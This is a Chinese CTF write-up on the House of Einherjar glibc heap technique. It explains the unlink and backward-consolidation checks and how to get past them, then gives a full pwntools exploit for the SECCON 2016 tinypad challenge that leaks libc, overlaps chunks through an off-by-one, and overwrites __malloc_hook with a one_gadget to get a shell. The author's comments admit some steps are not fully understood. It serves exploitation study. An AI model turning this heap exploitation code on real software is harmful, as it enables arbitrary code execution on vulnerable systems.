House Of Einherjar

适用范围

2.23~至今

作用:得到overlapping chunk

需要修改chunk的P位

利用原理

先来看free函数中这一段有关后向合并的代码:

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

这里新的chunk大小和新的chunk指针都由prev_size决定,所以我们可以通过控制prev_size来得到任意地址的chunk

但是需要注意的是要达到获得任意地址的chunk的效果,需要绕过unlink检测,然后触发free时的后向合并

unlink的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

size检查

检查当前堆块的size位置记录的数据和下一个堆块的prev_size数据是否一致

要绕过这个检测仅需伪造下一个堆块的prev_size位即可

双向链表检查

检查FD->bkBK->fd是否均指向自身

绕过方法1:

修改chunk的fd和bk指针指向一处能控制得地址ADDR,将ADDR + 0x10位置和ADDR + 0x18位置写入当前chunk的指针

使得P -> fd = P -> bk = ADDR

ADDR + 0x10 = ADDR + 0x18 = P

由此来绕过检测

绕过方法2:

直接使P -> fd = P

P -> bk = P

在本堆利用方法中也许方法2更为常用

触发后向合并

根据这行代码if (!prev_inuse(p)) {,要触发后向合并,当前堆块的P位必须为0,然后再free的时候就可以触发后向合并了

具体利用例子

现有chunk A.B,C.

A和C均处于unsorted bin范围内

先释放chunkA,然后在A中构造fake_chunk

接着控制chunkC的prev_size位和size域的P位

释放chunkC,通过控制chunkC的prev_size位和fake_chunk的size位通过unlink的size检查

就可以达成chunk overlapping了

例题:2016 Seccon tinypad

题目链接

题目给的是2.19的libc,我本机是在2.23的libc下打的

checksec

0

静态分析

1

off by one漏洞

2

在这个函数里有个off by one漏洞,当输入的字节数等于限制的字节数时,限制字节数的下一位将会被覆盖为\x00

use after free漏洞

还可以注意到程序free掉chunk时仅仅将fd那个位置的数据给清零掉了,指针并没有置null,我们可以通过泄露堆块的bk处的数据

确定思路

通过UAF漏洞来泄露libc和heap的基址

通过off by one达成house of einherjar利用得到overlapping的堆块

通过chunk overlapping和fastbin attack来修改__malloc_hook为one_gadget来getshell

撰写exp.py

先定义几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add(size,content):
sla('(CMD)>>> ','a')
sla('(SIZE)>>> ',size)
sla('(CONTENT)>>> ',content)

def dele(index):
sla('(CMD)>>> ','d')
sla('(INDEX)>>> ',index)

def edit(index,content):
sla('(CMD)>>> ','e')
sla('(INDEX)>>> ',index)
sla('(CONTEXT)>>> ',content)
sla('(Y/N)>>> ','y')

def quit():
sla('(CMD)>>> ','q')

leak libc

1
2
3
4
5
6
7
8
9
10
11
add('128','deadbeef')
add('96','r00t')
add('240','c')#这里得是f0,因为f0申请的是100得chunk,带着flag就是0x101,溢出会把01变为00,如果是别的会抽风,orz
add('160','d')
dele('3')#unsorted bin的fd和bk会指向main_arena

ru('INDEX: 3')
ru('CONTENT: ')

libc_addr = u64(r(6).ljust(8,b'\x00'))
log.info('libc: ',hex(libc_addr))

前文提到要泄露堆基地址使构造fake_chunk的时候使其fdbk位置指向自身,但其实并不需要,原因稍后分析

free堆块为HOE做准备同时计算地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dele('2')

dele('1')
#ru('INDEX: 1')
#ru('CONTENT: ')

#heap_addr = u64(r(3).ljust(8,b'\x00'))
#log.info('heap: ',hex(heap_addr))
#这里注不注释其实无所谓,但因为这里heap_addr接收的数据是错误的,还是注释了,原因要是想要了解可以自己去调试一下(我把这篇笔记写了就去~)
malloc_hook = libc_addr - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
#info('libc: ',hex(libc_base))

fake_chunk = malloc_hook - 0x23

ogg = [0x4525a,0xef9f4,0xf0897]#2.23libc的one_gadget

HOE

1
2
3
4
5
6
7
8
9
10
11
12
#HOE
pause()
add('240',b'c' * 0x10)#index 1 -> chunk3
add('128',b'a')
#p64(0) + p64(0xb0 + 0x40))#伪造fake_chunk
#+ p64(heap_addr + 0xb0 + 0x40) + p64(heap_addr + 0xb0 + 0x40))
#index 2 -> chunk1
dele('2')
add('104',b'b'*0x60 + p64(0xc0 + 0x40))#利用off by one漏洞修改chunk3的P位
#index 3 -> chunk2

dele('1')#触发堆块后向合并

这里dele(‘2’)后chunk1的fdbk会指向同一处main_arena,同时这块main_arenafdbk也都会指向chunk1,所以可以直接通过unlink检查

这里第九行还有个点需要注意,由于程序的add方法是根据你输入的size的大小来决定输入长度的,但我们都知道malloc申请堆块是向0x10对齐的,且是5舍6入,我们申请104(0x68)大小的内存时其实只给了0x60的大小,剩下0x8可以直接覆盖掉chunk3的prev_size位,再通过off by null控制chunk3的P位4

getshell

1
2
3
4
5
6
7
8
9
10
dele('2')
add('240',b'e' * 0x88 + p64(0x71) + p64(malloc_hook - 0x23))
add('96',b'f'*0x10)
add('96',b'g' * 0x13 + p64(ogg[1] + libc_base))

dele('2')
sl('a')
sl('100')

ia()

通过fastbin attack将malloc_hook申请到堆块重叠的部分,再通过别的指针将其改为ogg

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import*
context.log_level = 'debug'
arch = 64
io = process('./tinypad')
gdb.attach(io,'b main')
elf = ELF('./tinypad')
libc = ELF('/home/snolax/桌面/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
r = lambda x : io.recv(x)
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)

def add(size,content):
sla('(CMD)>>> ','a')
sla('(SIZE)>>> ',size)
sla('(CONTENT)>>> ',content)

def dele(index):
sla('(CMD)>>> ','d')
sla('(INDEX)>>> ',index)

def edit(index,content):
sla('(CMD)>>> ','e')
sla('(INDEX)>>> ',index)
sla('(CONTEXT)>>> ',content)
sla('(Y/N)>>> ','y')

def quit():
sla('(CMD)>>> ','q')

add('128','deadbeef')
add('96','r00t')
add('240','c')#这里得是f0,因为f0申请的是100得chunk,带着flag就是0x101,溢出会把01变为00,如果是别的会抽风,orz
add('160','d')
dele('3')
#dele('3')

ru('INDEX: 3')
ru('CONTENT: ')

libc_addr = u64(r(6).ljust(8,b'\x00'))
log.info('libc: ',hex(libc_addr))

dele('2')

dele('1')
#ru('INDEX: 1')
#ru('CONTENT: ')

#heap_addr = u64(r(3).ljust(8,b'\x00'))
#log.info('heap: ',hex(heap_addr))

malloc_hook = libc_addr - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
#info('libc: ',hex(libc_base))

fake_chunk = malloc_hook - 0x23

ogg = [0x4525a,0xef9f4,0xf0897]

#dele('2')
#HOE
pause()
add('240',b'c' * 0x10)
add('128',b'a')
#p64(0) + p64(0xb0 + 0x40))
#+ p64(heap_addr + 0xb0 + 0x40) + p64(heap_addr + 0xb0 + 0x40))
#写到一半发现好像堆块都不用伪造,直接用chunk1的堆头就行
#index 2
dele('2')#这里本来是dele('1')的,但好像1指的不是第一个
add('104',b'b'*0x60 + p64(0xc0 + 0x40))
#add('32','d')
#dele('1') 这里dele('1')好像会触发前向合并的unlink检测
dele('1')
#好像free验证出错了?就这样吧。。。

dele('2')
add('240',b'e' * 0x88 + p64(0x71) + p64(malloc_hook - 0x23))
#dele('3')
add('96',b'f'*0x10)
add('96',b'g' * 0x13 + p64(ogg[1] + libc_base))

dele('2')
sl('a')
sl('100')

ia()

一些随笔

unlink检查的汇编表达

3

fastbin attack小要求

__malloc_hook - 0x23处对应的size位是0x7f,所以fastbin attack的时候申请的chunk也应该是0x70的大小以保证处于同一个fastbinY数组中

off by null漏洞

house of einherjar堆利用中off by null漏洞改变P位时申请的堆块大小要为0x100,0x200等才能起效,因为off by null会改变一整个字节的数据

参考资料

ctf-wiki

吾爱破解题解